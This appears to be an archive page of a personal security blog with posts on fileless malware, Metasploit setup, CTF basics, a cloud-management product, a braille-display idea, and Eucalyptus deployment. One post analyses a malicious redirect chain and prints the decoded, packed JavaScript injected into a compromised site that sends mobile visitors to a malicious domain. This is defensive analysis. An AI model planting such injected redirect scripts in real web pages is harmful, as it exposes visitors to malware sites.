File less Infection-1

Leave a comment

A File less infection is one where the infection never never the disk and it always remains in Primary memory.

As no file is over disk so it is hard for security products to detect and remove such kind of infections. The first ever case of File less infection was seen in early 2000, with the worm name Code Red, where the worm was using IIS server Remote Code execution  exploit and was injecting the malware payload in memory.

Though the issue with such kind of malware is they are gone after the reboot. SO they were not persistent and as they were not persistent so targeting the machine whose up time is very low (For example Home PC) is not very useful.

But with in Year 2014 Poweliks did the break though and found mechanism of remaining persistent or reinfecting the victim after the reboot.
So, we can call it as surviving the reboot.

The malware was found to be spreading by notorious Exploit Kit Angler.

The poweliks found a very interesting way to remain persistent in memory by injecting the payload in run registry entry so when system restart it reinfect itself.

And it create 2 component

  1. Watchdog: Which keep an eye over registry entry, if entry is removed it recreate it. This part is always in memory.
  2. Payload: The real payload of malware, which perform the malware action.

In Last couple of year’s I have done some in deep research over File-less infection,

As a result of which I was able to publish few research papers.
My Research papers can be found over
1) One-Click File less infection : Presented At Virus Bulletin 2016, Denver
2) Living Off the land and file less attack techniques : Published with Symantec

Payload of malware is in registry.


This was a brief overview of file less infection.
I hope you guys like it, will try deep diving into the matter in next blog post.


Fun with Metasploit

Leave a comment

Metasploit is a framework developed in Ruby by H.D. Moore

It provide multiple very easy to use interfaces, which can be used for

  1. Fingerprinting
  2. Exploitation
  3. Post exploitation

And it comes with cool tools which are used for exploit development and fuzzing, which makes it kind of complete toolkit for penetration tester, and I personally have seen  almost all pentesters have used and are still using metasploit one way or another.

And most of the guys who start with security they start with metasploit.

In this tutorial we will discuss how to setup metasploit.

Metaspoit is available for Windows and Linux platforms.

Though I would suggest you to use Kali Linux which come pre install with metasploit and a lot of other cool software which you might be needing during pentesting or hacking.

In these tutorials I will be using msfconsole which is the most famous very stable and cool looking Command Line Interface, Though I can create a writeup for Armitage

It’s usage and other stuff (For that hit me or comment over here)

Let’s start with explaining what above 3 points are

Finger Printing:  It means finding the identity of the victim.
Metasploit is equipped with Nmap which is Swiss army knife for post scanning, OS scanning and multiple other things.

Which can be used for fingerprinting the victim, alone with it metapsloit is equipped with multiple auxiliary modules for fingerprinting.

Exploitation: It means misusing some service so we can get access to the victims machine.

Metasploit got multiple exploits few are client exploit few are server, in few cases they need interaction and in few no interaction needed at all so we can get our backdoor delivered to the victim, this phase is known as exploitation.

Post Exploration: Metasploit got multiple backdoor code which is then used to execute at victim so we can get the access of the victim’s machine.

Metsploit is equipped with multiple encoders too so we can obfuscate the payload before delivering it to victim, for evading security products.

I think this much of theory is enough for now let’s get to practical metasploit.
For these tutorials I will be using Kali VM.

Download Kali from here->
And create Virtual machine using VM ware or any other hypervisor.

Though I will be using virtual box can be downloaded form here ->

for all my blog post I will try using free tools as much as possible.

Once you are done with installation jump inside the Kali setup.

Start terminal and fire

service ssh start

The above command will start ssh serviced over the VM so you can login to your VM from your machine, and stack hacking.
and yeah ifconfig so you know the IP where you have to log in 😉
Once SSH services are started, log in to your machine.
now SSH at the IP address.
Once it is done fire


This will start the CLI version of metasploit which looks like

It might take some time to load the msfconsole.
Once it is done fire command


This command will update your metasploit with all the new exploits and payloads and any other updates.

I guess this is it for this post. Will publish chapter very soon.


Getting Started With CTF

Leave a comment

Hello Reader

I Am back after such a very long time.

This post and few more post from here on are going to be Super n00b, As these are going to target very basic stuff . If you are expecting some research project then I would suggest better follow me over my Twitter @anand_himanshu or DM/ Email .

Recently I have developed interest in CTF (Capture The Flag) events. For those who don’t know CTF, It is hacking the application to get the Secret which is known as FLAG.

As per my experience till date I can divide CTF events in following categories

  1. Exploits
  2. Reversing files
  3. Crypto
  4. Human Error

I am not saying these are the only categories, there could be other which I might not aware of at present and most of the times one challenge is dependent over the another for capturing the flag.

Here I will try to cover one topic at one single time.

Will cover few of the very tools for now like

Debuggers (No Link as Will try covering most of it Ex are IDA, Olly)
(Do Comment if you are interested in any specific tool)

And eventually will try to increase the lvl.

If You are looking for some super cool CTF Blogs and write up and solution then I would suggest you guys to must visit

Gynvael , The guy is super cool he do live hacking over YouTube and he is like rock start.

And another super cool guy LiveOverFlow.

Follow these guys over Twitter, YouTube and learn from them.

And If you are looking for some Cool CTF challenges Then I would suggest you to
1)  (For Reversing challenges)
2) (Almost all kind of challenges)

Remember guys, it’s like a puzzle sometimes you might have to spend hours and get hell lot of frustration, Not Giving up is the key to Flag.

If I have missed something or some information is incorrect then inform me.

Cheers and Happy Hacking 😉


Leave a comment

What is MyCloudPortal?

MyCloudPortal is about providing an enterprise level of solution to the customers out there so that they can manage multiple clouds using 1 single dashboard.
It is a cloud brokrage tool and ideal for those who are providing cloud hosting or the company who are working with multiple clouds.

What Problem this is solving?
I don’t think there is any company in IT which is not aware/working with cloud, and as we know there are multiple clouds aout there in the market like Amazon,Vcloud,Eucalyptus,OpenStack etc etc
So it is hard to manage all of these and when this projected started there were not any product out in the market which is providing solution of managing multiple cloud using 1 dashboard.

Where you can test this?
It is simple just go to and create a user ID and then log in there.
Provide the credentials and use it and test it. 🙂
It is too damn simple.

Is this free?
Yes, It is free and open. Though we got a branch for enterprise customer only but we got a free version of this too. You can download it from
In future you can expect more.
You can develop over the top of this and add new features whatever you want to.

How may cloud does this support?
Presently our product support Amazon, Eucalyptus and VCloud. But we are working over OpenStack and so this will be out soon and other than this we will be covering all the major cloud.

How is the User Experience?
As the product is open and we got a hosted version too so you can go and check it out anytime.
Other than that believe me it is for one of the best and easy UI to handle.

If you are more interested in knowing about the product then We got some videos too, which would make understanding more easy and clear any doubts 🙂

What Down my CloudPortal do

Get to know My Cloud Portal

And a Couple of new videos with the New UI to make the things more clear

If you got any more question then either ask at our website or comment below.


Digital to braille..!!

Leave a comment

Heading sounds exciting.
There is a MIT’s event going to happen next week (8th of July 2013), I was planning to participate but unfortunately I was not be able to get in and so I wanted to everyone else to know what I was thinking since last 2-3 weeks.
I am not much a electronics guy and trying to learn electronics, So please do tell me my mistakes so that I may improve it.

This concept is just a concept which I haven’t demo it yet and was planning to create a prototype in the event but unfortunately not selected so trying to tell everyone so that I may have inputs form them and if someone like it then they may implement it.

Link to the event is here

I personally believe that there are not much of the good devices are in market which would give the realtime experience to the visually challenged people.

So this concept is to convert every digital media to the braille.
Best part of this is it is not just for english or something it would be able to all symbols and languages to braille.
Person readin the reader will have experience of reading the real book and not just books we may convert webpages and other digital media to braille.

There are not much pictures available but will try to provide you that within few days as I got no camera and no electronics which I may provide.

Constraints for present Prototype:
I am converting all the data to 1 particular font for present and I am keeping the size to tbe constant for every media.

Screen used: Something similar to magnetic slate thing which works on the principe of magnetic field.
Link to Magnetic slate

I have no idea how to do this so this is my next task to make this screen work something similar to that of kindle reader.
and increase the magnetic field by providing the power.(not sure how research in progress)
As my research says the E-ink technology works we may develop something similar with it as that of kindle screen which is a Ebook reader.

Let’s place this screen directly above a bread board, which got office pins in it.
Now as the image produce over the screen it will produce a magnetic filed which will pull the office pins towards it.
As we all know that magnetic force would be vectorial in nature, for those who don’t read it from here
Now those pins which are directly below the screen will pull those pins towards it and the pins which are not directly below will face the force component in some specific degree so it won’t be pulled up that much as that of the pins directly below the symbols (remember that symbols are magnetic)
Now time is mesure the distance with which the pins are up than.
This is all what I am sure about after that I an not sure about things


We may use the pins to trigger the circuit for the specific pattern and produce the content over the electronic braille screen or refreshable braille screen.


We may trigger the circuit by measuring the moved screens from below the bread board and then to trigger the screen.

1) It is fast
2) Will convert the all those alphabets to braille which are shown in the screen.
3) will have the real feel of reading the book or watching the webpage in realtime.
For now the only constraint of font and size and I am not sure this really matters or not.

Different ideas which are kind of similar and this idea is inspired form them
1) A braille reader can read up to 200 words per minute
2) Zixel: A 2.5-D Graphical Tactile Display System
3) World’s 1st Braille Smartphone for Blind People

Comments and views required.
Would love if someone feel like to implement this at there end and would love to extend this 🙂

My work for autistic people is over my another blog, This was my 1st blog for Visually challenged people, Will post more updates over this work very soon.
Link to my another block

How to handle the redirection from malicious websites..!!

1 Comment

The journey starts with a link of website.

Where this link tell us about a malicious URL: h00p://polycontract[dot]ru/Wallmart.html?go=help

The URL is normal one if you ignore the .ru thing 🙂

When I tried to execute this one over my Browser they redirected me to

Then I have to use wget to get the download this file.

After downloading this file I tried to open this in Browser and again the same redirection. Grrr..

Let’s see the reply header

HTTP/1.1 200 OK
 Server: nginx/0.8.54
 Date: Thu, 16 May 2013 14:26:15 GMT
 Content-Type: text/html
 Connection: keep-alive
 Last-Modified: Thu, 16 May 2013 14:03:59 GMT
 ETag: "6bc8011-2e9-4dcd6567d31c0"
 Accept-Ranges: bytes
 Content-Length: 745

Ok so we all know the website is not down and it’s redirecting, as we have the code so let’s take look over the code which is redirecting us.

<titl>Wallmart is loading...</title>
<script type="text/javascript"><!--
<meta http-equiv="refresh" content="0; url=h00p://virgin-altantic[dot]net/news/ask-index.php"></noscript>

Suspicious ok let’s see what virustotal say about this this website.


The above 2 are the URL with which I started with and another one is of


So, they got redirection over every webpage so I have to download every thing using wget and then to analyze it, no GUI only code 😦

2 different analysis anyways good thing is it’s still showing us that it is malicious 🙂

After downloading the 2nd file I analysed it and find out there are 2 java scripts in that one.

So, I downloaded those 2 files respectively and the link were

<script src="/media/system/js/core.js" type="text/javascript"></script>
<script src="/media/system/js/caption.js" type="text/javascript"></script>

Time to analyze these 2 files. The virus total reports are

For core.js

For caption.js

Indeed they are malicious.

Time to take a look inside these 2


The malicious code is common for both of the files.

After decrypting it what I got is

document.write(unescape("<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 1=8.9.a(/(b)|(e)|(f)|(h)|(j)|(k)|(l)|(m)|(n)|(o)|(p)|(q)|(r)|(s)|(u-)|(w)|(x)|(y)|(z)|(A)|(B)|(C)|(D)|(E)|(F)|(G)|(0-c)|(0-d)|(0-g)|(H-)|(I)|(J)|(2)|(K)|(L)|(M)|(N-)|(O)|(P)|(Q-)|(R)|(S)|(T)|(U)|(V)|(W)|(X)|(Y)|(Z)|(10)|(11)|(12)|(13)|(14)|(15)|(16)|(17)|(18-)|(19-)|(1a)|(1b)|(1c-)|(1d)|(1e-)|(1f)|(1g)|(1h)|(1i)|(1j-)|(1k)|(t-1l)|(1m)|(1n-)|(1o)|(1p-)|(1q)|(1r)|(1s-v)|(1t)|(1u)|(3-)|(1v)|(1w)|(1x)|(1y)|(1z)|(4)|(4)|(5)|(5-)|(6.1A)|(6.1B)|(1C.1D)|(1E)|(1F)|(1G)|(1H)|(2)|(3)|(1I)|(1J)|(1K)|(1L)|(1M)|(1N)|(1O)|(1P.1Q)|(1R)|(1S)/i);1T(1){1U.1V.1W="1X"}',62,122,'lg|ismobile|midp|wap|winw|xda|up|var|navigator|userAgent|match|acs|||alav|alca||amoi||audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc||cmd||dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lge|maui|maxo|mits|mmef|mobi|mot|moto|mwbp|nec|newt|noki|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany|sch|sec|send|seri|sgh|shar|sie|siem|smal|smar|sony|sph|symb|mo|teli|tim|tosh|tsm|upg1|upsi|vk|voda|w3cs|wapa|wapi|wapp|wapr|webc|browser|link|windows|ce|iemobile|mini|mmp|symbian|phone|pocket|mobile|android|pda|PPC|Series60|Opera|Mini|ipad|iphone|if|document|location|href|h00p://online2you[dot]org/search.php?sid=1 '.split('|'),0,{}));</script> "));

Which is finally redirecting you to


Next task was to get the payload as most probably this was the site where they have hidden the treasure.

But unfortunately this was down error 404

 Connecting to||:80... connected.
 HTTP request sent, awaiting response... 404 Not Found
 2013-05-18 17:44:43 ERROR 404: Not Found.

I thought as there is redirection everywhere then this might be because of different location, So I tried it with proxy os US,Russia and some 3-4 more sut same result for every thing.

is it me or everyone else is unable to download the contents from this site?

ok let’s see the who is for the website

whois for  h00p://polycontract[dot]ru/

domain:        POLYCONTRACT.RU
org:           PoliKontrakt, LLC
registrar:     REGRU-REG-RIPN
created:       2011.01.18
paid-till:     2014.01.18
free-date:     2014.02.18
source:        TCI

urlquery report for online2you:

whois for h00p://online2you[dot]org/

Domain ID:D168159997-LROR
Created On:14-Mar-2013 22:36:14 UTC
Last Updated On:14-May-2013 03:45:15 UTC
Expiration Date:14-Mar-2014 22:36:14 UTC
Sponsoring, Inc. (R1248-LROR)
Status:OK Registrant ID:orgph63300498572
Registrant Name:Whois Agent
Registrant Organization:Whois Privacy Protection Service
status: ACTIVE
 remarks: Registration information:

And in last snap shot of all the the files which I have gathered

Screen Shot 2013-05-18 at 5.55.55 PM

This was my Journey and this was the end.

Your Inputs / Criticism are required


Eucalyptus Deployment

Leave a comment


Most Important thing Activate the Virtualization from the Bios else nothing going to work (This is what I forgot to do)

The The version of Eucalyptus which I got is 3.2 and you can download it from

This got Eucalyptus over CentOS which we may install for 1 node or multiple node.

For installation over 1 node it’s comparatively easy and fast, So I am just discussing Installation over 2 node .


Hardware I got:


2 server both identical

quard core intel xeon processor

4GB ram

1TB hardisk

2 Networking Cards


1st machine specification

Name of node: MyCloudPortalNode

IP: eth0: (This is for public use)

eth1: (This is for private use)

1)Start the System and press F2 key and get into bios.

2)In advance menu “Enable” virualization which was previously disabled. Press F10 to save

3)Press F6 on restart and choose the boot form CD option

4)Insert the Eucalyptus DVD and when it prompts for the options choose for installation of node server

5) when it prompts for the networking IP insert the values which already have provided on the top.

6)It’s going ot create the br0 (Bridge) by itself.

7) Set the ntp server

Yum install ntp

chkconfig ntpd ok

service ntpd start

then check the date by



Leave this machine just like then and then go for the installation of front controller


2nd machine

Name of Node: MyCloudPortalFront

IP: Eth0:



1)Start the System and press F2 key and get into bios.

2)In advance menu “Enable” virtualization which was previously disabled. Press F10 to save

3)Press F6 on restart and choose the boot from CD option

4)Insert the Eucalyptus DVD and when it prompts for the options choose for installation choose install front end.

5) Choose the IP which I have already be defined and then start it

6) when it got start it would ask about the public and private IP


don’t change private IP and in public IP provide the IP range which you want to be selected by the VM when this would get ocneected.

7)make all this accordingly and then start the machine.

This would ask about the IP of node on restarting the system after installation being done, enter the IP of nodes then this would prompt for SU password enter it and it is registered 🙂

8)Set the ntp server

Yum install ntp

chkconfig ntpd ok

service ntpd start


then check the date

Now both machine common.

Power off all the eucalyptus services

Over Front end

Service eucalyptus-cloud stop

service eucalyptus-cc stop

Over NC

service eucalyptus-nc stop


Test euca-describe-availability-zones verbose


Output should be like this, I already got 2 Small VM so it’s saying that free is 2/4

euca-describe-availability-zones verbose

AVAILABILITYZONE CLUSTER01 arn:euca:eucalyptus:CLUSTER01:cluster:cc_01/

AVAILABILITYZONE |- vm types free / max   cpu   ram  disk

AVAILABILITYZONE |- m1.small 0002 / 0004   1 512 5

AVAILABILITYZONE |- c1.medium 0001 / 0002   2 512 10

AVAILABILITYZONE |- m1.large 0001 / 0002   2   1024 15

AVAILABILITYZONE |- m1.xlarge 0001 / 0002   2   2048 20

AVAILABILITYZONE |- c1.xlarge 0000 / 0001   4   4096 20

For checking the number of VM you may create and other available resources.


Now start all three services and navigate your browser to


https://<frontendip>:8888 : For creation of VM


https://<frontendip>:8443  : For profile editing


Now go and play with VM 🙂

After creation of VM this is how this will look like when a VM is created and running.

The green tick mark will be different for different kind of things.


Do comment about your views any error or some questions.

I love Comments 😉

Older Entries